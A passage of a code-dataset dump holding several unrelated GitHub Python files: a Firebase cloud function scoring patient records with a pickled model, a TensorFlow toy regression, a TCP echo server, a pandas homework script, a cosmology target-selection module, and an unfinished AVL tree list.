return result\n\n# ============================================================\n\n","repo_name":"woohyeok-choi/AIF-Demo-Project","sub_path":"AIF-Client/examples/def_ops_calendar.py","file_name":"def_ops_calendar.py","file_ext":"py","file_size_in_byte":5655,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"23106270031","text":"import numpy as np\nimport pandas as pd\nimport pickle\nimport json\nfrom google.cloud import storage\nfrom io import BytesIO\nimport os \nos.environ[\"GOOGLE_APPLICATION_CREDENTIALS\"]=\"priovax-fcb9ade902f9.json\"\nimport firebase_admin\nfrom firebase_admin import credentials\nfrom firebase_admin import firestore\n\n# Use the application default credentials\ncred = credentials.Certificate('requirements.json')\nfirebase_admin.initialize_app(cred)\n\ndef predict(request):\n request_json = request.get_json(silent=True)\n request_args = request.args\n\n if request_json and 'clinic_id' in request_json:\n clinic_id = request_json['clinic_id']\n elif request_args and 'clinic_id' in request_args:\n clinic_id = request_args['clinic_id']\n else:\n clinic_id = None\n \n ## Set CORS headers for the preflight request\n if request.method == 'OPTIONS':\n ## Allows GET requests from any origin with the Content-Type\n headers = {\n 'Access-Control-Allow-Origin': '*',\n 'Access-Control-Allow-Methods': 'POST',\n 'Access-Control-Allow-Headers': '*',\n 'Access-Control-Max-Age': '3600'\n }\n\n return ('', 204, headers)\n\n ## Set CORS headers for the main request\n headers = {\n 'Access-Control-Allow-Origin': '*'\n }\n\n db = firestore.client()\n storage_client = storage.Client()\n\n docs = db.collection(u'users').document(clinic_id).collection(u'patient_data').stream()\n\n rows_list = []\n\n for doc in docs:\n rows_list.append(doc.to_dict())\n\n print(rows_list)\n df_patient = pd.DataFrame(data=rows_list)\n\n # Rearrange columns to alphabetical\n df_patient = df_patient.drop(columns=['first_name', 'last_name', 'phone_number'])\n df_patient = df_patient[['age', 'blood', 'cancer', 'cardiacs', 'chronic_disease', 'diabetes', 'gender_binary', 'hypertension', 'kidney', 'neuro', 'ortho', 'prostate', 'respiratory', 'thyroid']]\n\n bucket = storage_client.bucket('prediction_model21')\n blob = bucket.blob('model.pkl')\n\n pickle_in = BytesIO(blob.download_as_bytes())\n model = pickle.load(pickle_in)\n\n np.set_printoptions(suppress=True)\n prediction = model.predict_proba(df_patient)\n\n docs = db.collection(u'users').document(clinic_id).collection(u'patient_data').stream()\n\n for doc, probability in zip(docs, prediction[:, 1]):\n docsRef = db.collection(u'users').document(clinic_id).collection(u'patient_data').document(doc.id)\n docsRef.update({'probability': probability})\n\n return ('Hello World!', 201, headers) \n","repo_name":"Priovax/priovax","sub_path":"machine-learning/gcfunction.py","file_name":"gcfunction.py","file_ext":"py","file_size_in_byte":2563,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"34337773084","text":"import tensorflow as tf\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n# get [200,1] data\nx_data = np.linspace(-0.5, 0.5, 200)[:, np.newaxis]\nnoise = np.random.normal(0,0.02,x_data.shape)\ny_data = np.square(x_data) + noise\n\nplt.scatter(x_data, y_data)\nplt.show()\n\nx = tf.placeholder(tf.float32, [None,1])\ny = tf.placeholder(tf.float32, [None,1])\n\n# 神经网络结构 1-20-1\nw1 = tf.Variable(tf.random_normal([1,20]))\nb1 = tf.Variable(tf.zeros([20]))\nl1_in = tf.matmul(x, w1) + b1\nl1 = tf.nn.tanh(l1_in)\n\nw2 = tf.Variable(tf.random_normal([20,1]))\nb2 = tf.Variable(tf.zeros([1]))\nl2_in = tf.matmul(l1, w2) + b2\nprediction = tf.nn.tanh(l2_in)\n\n# 二次代价函数\nloss = tf.losses.mean_squared_error(y, prediction)\n# 定义一个梯度下降法优化器\noptimizer = tf.train.GradientDescentOptimizer(0.1)\n# 最小化代价函数\ntrain = optimizer.minimize(loss)\n\nwith tf.Session() as sess:\n # init variable\n sess.run(tf.global_variables_initializer())\n for _ in range(3000):\n sess.run(train, feed_dict={x:x_data, y:y_data})\n\n prediction_value = sess.run(prediction, feed_dict={x:x_data})\n plt.scatter(x_data, y_data)\n plt.plot(x_data, prediction_value, 'r-', lw=5)\n plt.show()\n\n","repo_name":"shucommon/badrobot","sub_path":"python/AI/tensorflow/non_line.py","file_name":"non_line.py","file_ext":"py","file_size_in_byte":1211,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"41513232418","text":"import socket\n\n#���버의 아이피 포트 정보\nHOST = '127.0.0.1' #접속할 서버 주소\nPORT = 8888 #서버 포트번호로 클라이언트 접속을 대기하는 번호\n\n#서버 소켓 오픈(객체 생성), 클라이언트를 받을 준비\n#주소 체계로 IPv4, 소켓 타입으로 TCP사용\nserver_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\n\nserver_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) #포트 사용중이라 연결할 수 없다는 에러 방지\n\n#bind:설정한 소켓에 HOST(ip)와 PORT를 붙여주는 것\n#즉, 소켓을 특정 네트워크 인터페이스와 포트 번호에 연결하는데 사용\nserver_socket.bind((HOST, PORT))\n \n\n\nserver_socket.listen() #이제 클라이언트가 접속 준비 완료(접속 허용)\n\nprint('서버 시작') \n\n#accept 상태로 대기, client의 접속을 기다리다 요청시 처리.\n#client와 1:1통신할 소켓과 연결된 상대방의 주소 반환\nclient_socket, addr = server_socket.accept()\n\nprint('Connected by', addr) #접속한 클라이언트 주소\n\n#무한루프 돌기\nwhile True:\n data = client_socket.recv(1024) #클라이언트가 보낸 메시지를 수신하기 위해 대기\n message = data.decode() #읽은 데이터를 복호화\n print('Received from', addr, message) #수신받은 문자열을 출력\n client_socket.sendall(data)\t #클라이언트로부터 받은 메시지 다시 전송=>메아리 효과\n if message=='/end': #/end입력시 서버, 클라이언트 모두 종료\n break\n \nserver_socket.close() #소켓 닫기","repo_name":"KIMGEONHWI/Tcp-Socket-Programming","sub_path":"sever.py","file_name":"sever.py","file_ext":"py","file_size_in_byte":1662,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"20848674001","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Sep 4 16:53:19 2019\n\n@author: mingjay\n\"\"\"\n\nimport os\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\n\ndir_data = 'C:\\MJ_Python_codes\\ML\\Kaggle'\n\nf_app_train = os.path.join(dir_data, 'application_train.csv')\n\napp_train = pd.read_csv(f_app_train)\n\n\ncolumnlist = list(app_train.columns)\n\ndf = app_train\n\n# 秀出資料欄位的類型與數量\ndtype_df = df.dtypes.reset_index()\ndtype_df.columns = [\"Count\", \"Column Type\"]\ndtype_df = dtype_df.groupby(\"Column Type\").aggregate('count').reset_index()\ndtype_df\n#確定只有 int64, float64, object 三種類型後, 分別將欄位名稱存於三個 list 中\nint_features = []\nfloat_features = []\nobject_features = []\nfor dtype, feature in zip(df.dtypes, df.columns):\n if dtype == 'float64':\n float_features.append(feature)\n elif dtype == 'int64':\n int_features.append(feature)\n else:\n object_features.append(feature)\n\nprint(f'{len(float_features)} Float Features : {float_features}\\n')\n\n\n#\na = df[['AMT_INCOME_TOTAL','AMT_CREDIT','AMT_ANNUITY']]\na_sta = a.describe()\n\nX = list(a.columns)\nmean = [a_sta.iloc[1,0],a_sta.iloc[1,1],a_sta.iloc[1,2]]\nstd = [a_sta.iloc[2,0],a_sta.iloc[2,1],a_sta.iloc[2,2]]\nfig1 =plt.figure()\nplt.bar(X,mean)\nplt.xlabel('Selected Columns')\nplt.ylabel('Mean')\nfig2 =plt.figure()\nplt.bar(X,std)\nplt.xlabel('Selected Columns')\nplt.ylabel('Std. Dev.')\n#\nfig3 =plt.figure()\nb = df['AMT_ANNUITY']\nb.describe()\nbb = np.array(list(b))\n#bb = np.log1p(bb)\n\nn,bins,patches = plt.hist(bb,bins=100,normed=False)\nplt.xlabel('AMT_ANNUITY')\nplt.ylabel('Population')\nplt.title('')\n","repo_name":"MJYang137/3rd-ML100Days","sub_path":"homework/Day_008_HW.py","file_name":"Day_008_HW.py","file_ext":"py","file_size_in_byte":1632,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"18367105896","text":"#! /usr/bin/env python3\n# -*- coding:utf-8 -*-\n\nr\"\"\"\n author: SHUN SAITO (Missouri S&T)\n\n Time-stamp: \n\n This code is developed for the target-selection purpose \n in the PFS cosmology working group.\n\n\n This file provides useful functions to output summary statistics \n for the PFS target selection.\n\n Note that the code is highly relying on the EL-COSMOS catalog \n (Saito et al. 2020) which predicts the [OII] fluxes\n as well as broadband photometries from HSC, (g, r, i, y, z).\n\n Version history:\n 0.0 initial migration from jupyter notebooks\n\"\"\"\n\n__author__ = 'Shun Saito'\n__version__ = '0.0'\n\nimport numpy as np\n#astropy\nfrom astropy import units as u\nfrom astropy.cosmology import FlatLambdaCDM\nfrom astropy.constants import c\nfrom astropy.io import fits\nfrom scipy import integrate, interpolate\nfrom scipy.stats import poisson\n\n# hard-coded constants and setting\n## PFS\nAREA_PFSFoV = 1.098 # Area of the Field of View in one visit [deg^2]\nAREA_PFS = 1464 # Area of the total PFS cosmology footprint [deg^2]\nNUM_FIBER = 2394 # Number of fibers available in one visit\n## EL-COSMOS\nAREA_CMC = 1.38 # Area of the COSMOS-2015 catalog [deg^2]\n## Fiducial cosmology from astropy\ncp = FlatLambdaCDM(H0=67.77, Om0=0.307115)\nlittleh = cp.H0.value/100\nMpcph = u.def_unit('Mpcph', u.Mpc/littleh) #[Mpc/h]\ndVc_dzdOmega = lambda x: cp.differential_comoving_volume(x).to(Mpcph**3/u.sr).value #[(Mpc/h)^3/sr]\n\n\n\ndef calc_target_stats(cat_input, selection, snr_threshold=6, snr_label='SNR_PFS_OII',\n zlow=0.6, zhigh=2.4, verbose=0):\n \"\"\"\n This is the main function to compute the summary statistics for the target selection. \n \"\"\"\n cat_tgt = cat_input[selection]\n num_tgt_perFoV = int(cat_tgt.shape[0]*AREA_PFSFoV/AREA_CMC)\n \n # assume that the fiber assignment follows the Poisson statistics\n mu = float(num_tgt_perFoV)/float(NUM_FIBER)\n num_fiber_assigned = int(NUM_FIBER*(1. - poisson.pmf(0., mu) + 1.\n - poisson.pmf(0., mu) - poisson.pmf(1., mu)))\n num_fiber_missed = 2*NUM_FIBER - num_fiber_assigned\n \n ######\n select_det = cat_tgt[snr_label] > snr_threshold\n select_zred = (cat_tgt['z_photo'] > zlow) & (cat_tgt['z_photo'] < zhigh)\n cat_pfs = cat_tgt[select_det & select_zred]\n f_success = np.float(cat_pfs.shape[0])/np.float(cat_tgt.shape[0])\n num_elg = int(f_success*num_fiber_assigned)\n\n if verbose >= 1:\n print('***** Target selection statistics summary *****\\n')\n print('Your threthold: {0} > {1}\\n'.format(snr_label,snr_threshold))\n print('(1) # of fibers for which a galaxy is assigned: {0}'.format(num_fiber_assigned))\n print('# of fibers which miss a galaxy assignment: {0}'.format(num_fiber_missed))\n print('efficiency = (1)/(# of total fibers, {0}): {1:5.2f}%\\n'.format(2*NUM_FIBER, 100.*(1. - poisson.pmf(0., mu) + 1.\n - poisson.pmf(0., mu) - poisson.pmf(1., mu))/2.))\n print('(2) # of target galaxies per FoV: {0}'.format(num_tgt_perFoV))\n print('completeness = (1)/(2): {0:5.2f}%\\n'.format(100*num_fiber_assigned/num_tgt_perFoV))\n print('(3) # of detectable PFS ELGs per two visits per FoV: {0}'.format(num_elg))\n print('success rate = (3)/(1) = {0:5.2f}%\\n'.format(100.*num_elg/num_fiber_assigned))\n if verbose >=2:\n print('effective factor: ', num_fiber_assigned/np.float(cat_tgt.shape[0]))\n print(' -> this factor should be multiplied to *cat_pfs* to get # of detectable galaxies per PFS FoV\\n')\n print('***********************************************\\n')\n\n return num_elg, cat_pfs, num_fiber_assigned/np.float(cat_tgt.shape[0])\n\n\n\n\ndef calc_dndz(arr_tmp, fac_eff, zbins, verbose=0):\n \"\"\"\n Compute redshift distribution of the input catalog ('arr_tmp') following the binning in Takada+(2014)\n \"\"\"\n\n numz = zbins.shape[0]-1\n dndzs = np.zeros(shape=(numz,4))\n \n for iz in range(numz):\n zmin = zbins[iz]\n zmax = zbins[iz+1]\n \n Vs = integrate.quad(dVc_dzdOmega, zmin, zmax)[0]*AREA_PFS*(u.deg**2).to(u.sr)/1.e9 #[(Gpc/h)^3]\n select = (arr_tmp['z_photo']>=zmin) & (arr_tmp['z_photo']= 1:\n if iz==0:\n print('dn/dz: ')\n print('#{0}, {1:2.1f} <= z < {2:2.1f}, Vs[(Gpc/h)^3] = {3:4.3f}, Ng/FoV = {4}, ng[10^-4(h/Mpc)^3] = {5:4.3f}'.format(iz,zmin,zmax,Vs,Ng_FoV,ng))\n return dndzs\n\n\nif __name__ == \"__main__\":\n #example code to use this function.\n arr_cmc = fits.open('/Volumes/ThunderBay4-40TB/CosmoTreasure/mock/cosmos/cmc_lam/combinedcatalog_flux_SNR-cos_full_phy_fz-a0.20_OI15config_added-Re.fits')[1].data\n \n # selection in (g, g-r, r-i)\n select_g = (arr_cmc['g_hsc'] > 23.2) & (arr_cmc['g_hsc'] < 24.2)\n select_gr = ((arr_cmc['g_hsc']-arr_cmc['r_hsc'] > 0.05) \n & (arr_cmc['g_hsc']-arr_cmc['r_hsc'] < 0.35))\n select_ri = ((arr_cmc['g_hsc'] > 23.6) \n & (arr_cmc['r_hsc']-arr_cmc['i_hsc'] > 0.3))\n select_g_gr = select_g & select_gr\n cut_target = select_g_gr & ~select_ri\n \n numELGs, pfs_mT14_sn6, fac_eff = calc_target_stats(arr_cmc, cut_target, snr_threshold=6, verbose=1)\n\n zbins_T14 = np.array([0.6, 0.8, 1.0, 1.2, 1.4, 1.6, 2.0, 2.4])\n calc_dndz(pfs_mT14_sn6, fac_eff, zbins_T14, verbose=1)\n","repo_name":"saitosmst/TargetSelection_PFScosmology","sub_path":"summary_stat.py","file_name":"summary_stat.py","file_ext":"py","file_size_in_byte":5693,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"35905943702","text":"#username - complete info\n#id1 - 209339704 \n#name1 - Gal Reubens \n#id2 - 313330490\n#name2 - Bar Avidov\n\n\n\n\"\"\"A class represnting a node in an AVL tree\"\"\"\n\nimport array\nfrom hashlib import new\nfrom platform import node\nfrom random import randint\nfrom re import S\nfrom this import d\nfrom typing import ValuesView\n\n#def setFirst setlast\n\nclass AVLNode(object):\n\t\"\"\"Constructor, you are allowed to add more fields. \n\n\t@type value: str\n\t@param value: data of your node\n\t\"\"\"\n\tdef __init__(self, value=None,left=None,right=None,parent=None,height=-1,size=1):\n\t\tself.value = value\n\t\tself.left = left\n\t\tself.right = right\n\t\tself.parent = parent\n\t\tself.height = height\n\t\tself.size = size\n\t\tself.balancefactor = None\n\t\t\n\n\n\t\"\"\"returns the left child\n\t@rtype: AVLNode\n\t@returns: the left child of self, None if there is no left child\n\t\"\"\"\n\tdef getLeft(self):\n\t\tif self.left == None:\n\t\t\treturn None\n\t\treturn self.left\n\n\n\t\"\"\"returns the right child\n\n\t@rtype: AVLNode\n\t@returns: the right child of self, None if there is no right child\n\t\"\"\"\n\tdef getRight(self):\n\t\tif self.right == None:\n\t\t\treturn None\n\t\treturn self.right\n\n\t\"\"\"returns the parent \n\n\t@rtype: AVLNode\n\t@returns: the parent of self, None if there is no parent\n\t\"\"\"\n\tdef getParent(self):\n\t\tif self.parent == None:\n\t\t\treturn None\n\t\treturn self.parent\n\n\t\"\"\"return the value\n\n\t@rtype: str\n\t@returns: the value of self, None if the node is virtual\n\t\"\"\"\n\tdef getValue(self):\n\t\tif self.isRealNode() == True:\n\t\t\treturn self.value\n\t\treturn None\n\n\t\"\"\"returns the height\n\n\t@rtype: int\n\t@returns: the height of self, -1 if the node is virtual\n\t\"\"\"\n\tdef getHeight(self):\n\t\tif self.isRealNode() == True:\n\t\t\treturn self.height\n\t\treturn -1\n\n\t\"\"\"sets left child\n\n\t@type node: AVLNode\n\t@param node: a node\n\t\"\"\"\n\n\tdef setLeft(self, node):\n\t\tself.left = node\n\n\t\"\"\"sets right child\n\n\t@type node: AVLNode\n\t@param node: a node\n\t\"\"\"\n\tdef setRight(self, node):\n\t\tself.right = node\n\n\t\"\"\"sets parent\n\n\t@type node: AVLNode\n\t@param node: a node\n\t\"\"\"\n\tdef setParent(self, node):\n\t\tself.parent = node\n\n\t\"\"\"sets value\n\n\t@type value: str\n\t@param value: data\n\t\"\"\"\n\tdef setValue(self, value):\n\t\tself.value = value\n\n\t\"\"\"sets height\n\n\t@type height: int\n\t\"\"\"\n\tdef setHeight(self):\n\n\t\tif self.right.isRealNode() == True:\n\t\t\tRH = self.right.getHeight()\n\t\telse:\n\t\t\tRH = -1\n\t\tif self.left.isRealNode() == True:\n\t\t\tLH = self.left.getHeight()\n\t\telse:\n\t\t\tLH = -1\n\n\n\t\tif LH > RH:\n\t\t\tself.height = LH + 1\n\t\telse:\n\t\t\tself.height = RH + 1\n\t\t\n\n\t\"\"\"returns whether self is not a virtual node \n\n\t@rtype: bool\n\t@returns: False if self is a virtual node, True otherwise.\n\t\"\"\"\n\tdef isRealNode(self):\n\t\tif self.height == -1:\n\t\t\treturn False #virutal\n\t\treturn True #real node\n\n\t\"\"\"returns the size of the node\n\n\t@rtype: int\n\t@returns: size of the node's rooted tree, 0 if virtual node\n\t\"\"\"\n\n\tdef getSize(self):\n\t\tif self.isRealNode() == True:\n\t\t\treturn self.size\n\t\treturn 0\n\n\t\"\"\"sets size\n\t@type size: int\n\t\"\"\"\n\tdef setSize(self):\n\t\tself.size = self.left.size + self.right.size + 1\n\n\t\"\"\"returns the balance factor\n\t@rtype: int\n\t@returns: balance factor of the node\n\t\"\"\"\n\n\tdef getBalanceFactor(self):\n\t\treturn self.balancefactor\n\n\t\"\"\"sets balance factor\n\t@type balancefactor: int\n\n\t\"\"\"\n\n\tdef setBalanceFactor(self):\n\t\tLH = -1 #left and right height, if they dotn exist the value will be 0\n\t\tRH = -1\n\t\tif self.left.isRealNode():\n\t\t\tLH=self.left.height\n\t\tif self.right.isRealNode():\n\t\t\tRH=self.right.height\n\t\tself.balancefactor = LH - RH\n\t\t\n\t\"\"\"\n\n\t@type: prints the fields of the node\n\t@returns: prints value, parent value, left child value, right child value,\n\t\t\t size, height and balance factor \n\n\t\"\"\"\n\t##for testing\n\n\tdef printDetails(self):\n\t\tprint(\"details for node \", self.value)\n\t\tprint(\"value: \", self.value)\n\t\tif self.parent == None:\n\t\t\tprint(\"this is the root\")\n\t\telse:\n\t\t\tprint(\"value of parent: \", self.parent.value)\n\t\tprint(\"value of left son: \", self.left.value)\n\t\tprint(\"value of right son: \", self.right.value)\n\t\tprint(\"size: \", self.size)\n\t\tprint(\"height: \", self.height)\n\t\tprint(\"balance factor: \", self.balancefactor)\n\t\tprint()\n\n\n\"\"\"\nA class implementing the ADT list, using an AVL tree.\n\"\"\"\n\nclass AVLTreeList(object):\n\n\t\"\"\"\n\tConstructor, you are allowed to add more fields. \n\n\t\"\"\"\n\tdef __init__(self, root = None, first = None, last = None, length = 0, height = 0):\n\t\tself.root = root\n\t\tself.first = first\n\t\tself.last = last\n\t\tself.length = length\n\t\tself.height = height\n\n\t\"\"\"returns whether the list is empty\n\n\t@rtype: bool\n\t@returns: True if the list is empty, False otherwise\n\t\"\"\"\n\n\tdef empty(self):\n\t\tif self.root == None:\n\t\t\treturn True\n\t\telse:\n\t\t\treturn False\n\n\t\"\"\"returns the height of the tree\n\n\t@rtype: int\n\t@returns: the height of the tree, -1 if the tree is empty\n\t\"\"\"\n\n\tdef getHeight (self):\n\t\tif self.root.isRealNode():\n\t\t\treturn self.height\n\t\treturn -1\n\n\t\"\"\"retrieves the value of the i'th item in the list\n\n\t@type i: int\n\t@pre: 0 <= i < self.length()\n\t@param i: index in the list\n\t@rtype: str\n\t@returns: the value of the i'th item in the list\n\t\"\"\"\n\tdef retrieve(self, i):\n\t\ta = self.root\n\t\twhile i != 0:\n\t\t\tif i == a.right.size + 1:\n\t\t\t\treturn a.value\n\t\t\telse:\n\t\t\t\tif i < a.right.size + 1:\n\t\t\t\t\ta = a.left\n\n\t\t\t\telse:\n\t\t\t\t\ti = i - a.right.size -1\n\t\t\t\t\ta = a.right\n\t\t\n\t\t\n\t \n\t\"\"\"inserts val at position i in the list\n\n\t@type i: int\n\t@pre: 0 <= i <= self.length()\n\t@param i: The intended index in the list to which we insert val\n\t@type val: str\n\t@param val: the value we inserts\n\t@rtype: list\n\t@returns: the number of rebalancing operation due to AVL rebalancing\n\t\"\"\"\n\n\tdef insert(self, i, val):\n\t\t\tnewNode = AVLNode(val, None, None, None, -1, -1)\n\t\t\tnewVirtualLeft = AVLNode(-1, None, None, None, -1, 0)\n\t\t\tnewVirtualRight = AVLNode(-1, None, None, None, -1, 0)\n\t\t\tnewNode.setLeft(newVirtualLeft)\n\t\t\tnewNode.setRight(newVirtualRight)\n\n\t\t\tif self.empty() == True:\n\t\t\t\tself.root = newNode\n\t\t\t\tself.first = newNode\n\t\t\t\tself.last = newNode\n\t\t\t\tself.maintainFields(newNode)\n\t\t\t\treturn 0\n\n\t\t\tif i == 0:\n\t\t\t\tself.first = newNode\n\t\t\telse:\n\t\t\t\tif i == self.root.size:\n\t\t\t\t\tself.last = newNode\n\t\t\treturn self.insertNode(i, newNode)\n\n\t\"\"\"inserts a new node in the i'th index of the list\n\t@type i: int\n\t@pre: 0 <= i <= self.length()\n\t@param i: The intended index in the list to which we insert the node\n\t@type node: AVLNode\n\t@param node: the node intended to insert\n\t@rtype: list\n\t@returns: the number of rotation operations due to AVL rebalancing\n\t\n\t\"\"\"\n\tdef insertNode(self, i, node):\n\n\t\tif i == self.root.getSize():\n\t\t\tcurrentnode = self.root\n\t\t\twhile currentnode.right.isRealNode() == True:\n\t\t\t\tcurrentnode = currentnode.right\n\t\t\tcurrentnode.setRight(node)\n\t\t\tnode.setParent(currentnode)\n\t\telse:\n\t\t\tcurrentnode = self.getNodeFromIndex(i+1)\n\t\t\tif currentnode.left.isRealNode() == False:\n\t\t\t\tcurrentnode.setLeft(node)\n\t\t\t\tnode.setParent(currentnode)\n\t\t\telse:\n\t\t\t\tpredecessor = self.predecessor(currentnode)\n\t\t\t\tpredecessor.setRight(node)\n\t\t\t\tnode.setParent(predecessor)\n\t\t\n\t\t\n\t\treturn self.balance(node)\n\n\n\t\"\"\"deletes the i'th item in the list\n\n\t@type i: int\n\t@pre: 0 <= i < self.length()\n\t@param i: The intended index in the list to be deleted\n\t@rtype: int\n\t@returns: the number of rebalancing operation due to AVL rebalancing\n\t\"\"\"\n\tdef delete(self, i):\n\t\tnode = self.getNodeFromIndex(i+1)\n\t\treturn self.deleteNode(node)\n\n\t\t\n\n\t##deletes the given node from the tree with balancing\n\tdef deleteNode(self,node):\n\n\n\t\tif node == self.root:\n\n\t\t\tif self.root.size == 1:\n\t\t\t\tself.root = None\n\t\t\t\treturn 0\n\n\t\t\tif node.right.isRealNode() == False:\n\t\t\t\tself.root = self.root.left\n\t\t\t\tself.root.setParent(None)\n\t\t\t\treturn 0\n\n\n\t\t\tsuccesor=self.succesor(node)\n\t\t\tsuccesorparent=succesor.parent\n\t\t\tsuccesorson=succesor.right\n\n\t\t\tif succesor.parent == node:\n\t\t\t\tself.root = succesor\n\t\t\t\tsuccesor.setParent(None)\n\t\t\t\tsuccesor.left = node.left\n\t\t\t\tnode.left.setParent(succesor)\n\t\t\t\treturn 0\n\n\t\t\tsuccesorparent.setLeft(succesorson)\n\t\t\tif succesorson.isRealNode():\n\t\t\t\tsuccesorson.setParent(succesorparent)\n\n\t\t\tself.root = succesor\n\t\t\tsuccesor.setParent(None)\n\t\t\tsuccesor.setLeft(node.left)\n\t\t\tsuccesor.setRight(node.right)\n\t\t\tnode.right.setParent(succesor)\n\t\t\tnode.left.setParent(succesor)\n\t\t\treturn self.balance(succesorparent)\n\t\t\n\t\t##case1: node is leaf\n\t\tif self.nodeLeafCase(node):\n\t\t\tif self.root == node:\n\t\t\t\tself.root = None\n\t\t\tparent=node.getParent()\n\t\t\tif node.parent.right == node:\n\t\t\t\tnode.parent.setRight(node.left)\n\t\t\telse:\n\t\t\t\tnode.parent.setLeft(node.left)\n\n\t\t\treturn self.balance(node.parent)\n\n\t\t#case2: node has two children\n\t\telse:\n\t\t\tif node.left.isRealNode() and node.right.isRealNode():\n\t\t\t\tsuccesor = self.succesor(node)\n\t\t\t\tif node.right == succesor:\n\t\t\t\t\tsuccesor.setParent(node.parent)\n\t\t\t\t\tif node.parent.left == node:\n\t\t\t\t\t\tnode.parent.setLeft(succesor)\n\t\t\t\t\telse:\n\t\t\t\t\t\tnode.parent.setRight(succesor)\n\t\t\t\t\tsuccesor.setLeft(node.left)\n\t\t\t\t\tnode.left.setParent(succesor)\n\t\t\t\t\treturn self.balance(succesor)\n\t\t\t\telse:\n\t\t\t\t\tsuccesorparent = succesor.getParent()\n\t\t\t\t\tsuccesorson = succesor.getRight()\n\n\t\t\t\t\tsuccesorparent.setLeft(succesorson)\n\t\t\t\t\tsuccesorson.setParent(succesorparent)\n\n\t\t\t\t\tsuccesor.setParent(node.parent)\n\t\t\t\t\tif node.parent.left == node:\n\t\t\t\t\t\tnode.parent.left = succesor\n\t\t\t\t\telse:\n\t\t\t\t\t\tnode.parent.right = succesor\n\t\t\t\t\tsuccesor.setRight(node.right)\n\t\t\t\t\tnode.right.setParent(succesor)\n\t\t\t\t\tsuccesor.setLeft(node.left)\n\t\t\t\t\tnode.left.setParent(succesor)\n\n\t\t\t\treturn self.balance(succesorparent)\n\n\t\t#case3: node has one children\n\t\t\telse:\n\t\t\t\tif node.left.isRealNode() == True:\n\t\t\t\t\tparent = node.parent\n\t\t\t\t\tleft = node.left\n\n\t\t\t\t\tif parent.getLeft() == node:\n\t\t\t\t\t\tparent.setLeft(left)\n\t\t\t\t\telse:\n\t\t\t\t\t\tparent.setRight(left)\n\t\t\t\t\tleft.setParent(parent)\n\t\t\t\t\tnode.setParent(None)\n\t\t\t\t\tnode.setLeft(None)\n\t\t\t\telse:\n\t\t\t\t\tparent = node.parent\n\t\t\t\t\tright = node.right\n\n\t\t\t\t\tif parent.getRight() == node:\n\t\t\t\t\t\tparent.setRight(right)\n\t\t\t\t\telse:\n\t\t\t\t\t\tparent.setLeft(right)\n\t\t\t\t\tright.setParent(parent)\n\t\t\t\t\tnode.setParent(None)\n\t\t\t\t\tnode.setRight(None)\n\t\t\t\n\t\t\treturn self.balance(parent)\n\t\t\t\n\n\n\t##checks if the node is a leaf\n\t##if it is, it deletes it without balancing\n\tdef nodeLeafCase(self,node):\n\t\tif node.right.isRealNode() == False and node.left.isRealNode() == False:\n\t\t\treturn True\n\t\telse:\n\t\t\treturn False\n\n\n\n\n\t\n\t\t\n\n\n\t\t\n\n\n\t\"\"\"returns the value of the first item in the list\n\n\t@rtype: str\n\t@returns: the value of the first item, None if the list is empty\n\t\"\"\"\n\tdef first(self):\n\t\tif self.isEmpty:\n\t\t\treturn None\n\t\tnode=self.root\n\t\twhile node.getLeft().isRealNode():\n\t\t\tnode=node.getLeft()\n\t\treturn node.getValue()\n\n\t\"\"\"returns the value of the last item in the list\n\n\t@rtype: str\n\t@returns: the value of the last item, None if the list is empty\n\t\"\"\"\n\tdef last(self):\n\t\tif self.isEmpty:\n\t\t\treturn None\n\t\tnode=self.root\n\t\twhile node.getRight().isRealNode():\n\t\t\tnode=node.getRight()\n\t\treturn node.getValue()\n\n\t\"\"\"returns an array representing list \n\n\t@rtype: list\n\t@returns: a list of strings representing the data structure\n\t\"\"\"\n\tdef listToArray(self):\n\n\t\tarray = []\n\t\tif self.empty() == False:\n\t\t\tself.inOrder(self.root, array)\n\t\treturn array\n\n\t\"\"\"adds the value of all nodes in tree in order to an array\n\t@pre array is empty\n\t@rtype: list\n\n\t\"\"\"\n\n\tdef inOrder(self, node, array):\n\t\tif node.left.isRealNode() == True:\n\t\t\tself.inOrder(node.left, array)\n\t\tarray.insert(len(array), node.value)\n\t\tif node.right.isRealNode() == True:\n\t\t\tself.inOrder(node.right, array)\n\n\t\"\"\"returns the size of the list \n\n\t@rtype: int\n\t@returns: the size of the list\n\t\"\"\"\n\tdef length(self):\n\t\tif self.isEmpty == True:\n\t\t\treturn 0\n\t\treturn self.root.size\n\n\t\"\"\"splits the list at the i'th index\n\n\t@type i: int\n\t@pre: 0 <= i < self.length()\n\t@param i: The intended index in the list according to whom we split\n\t@rtype: list\n\t@returns: a list [left, val, right], where left is an AVLTreeList representing the list until index i-1,\n\tright is an AVLTreeList representing the list from index i+1, and val is the value at the i'th index.\n\t\"\"\"\n\tdef split(self, i):\n\t\treturn None\n\n\t\"\"\"concatenates lst to self\n\n\t@type lst: AVLTreeList\n\t@param lst: a list to be concatenated after self\n\t@rtype: int\n\t@returns: the absolute value of the difference between the height of the AVL trees joined\n\t\"\"\"\n\tdef concat(self, lst):\n\n\t\tif lst.empty():\n\t\t\tif self.empty():\n\t\t\t\treturn 0\n\t\t\treturn self.root.height\n\t\tif self.empty():\n\t\t\tself.root=lst.root\n\t\t\treturn self.root.height\n\n\t\treturnValue=abs(self.root.height-lst.root.height)\n\n\t\tx=lst.first\n\t\tlst.delete(0)\n\n\t\tif lst.empty():\n\t\t\tself.insert(self.root.size,x.value)\n\t\t\treturn returnValue\n\n\t\tif self.root.size > lst.root.size:\n\t\t\th=lst.root.height\n\t\t\tb=self.root\n\t\t\ta=lst.root\n\t\t\troot=self.root\n\t\telse:\n\t\t\th=self.root.height\n\t\t\tb=lst.root\n\t\t\ta=self.root\n\t\t\troot=lst.root\n\t\t\n\t\twhile abs(h-b.height) > 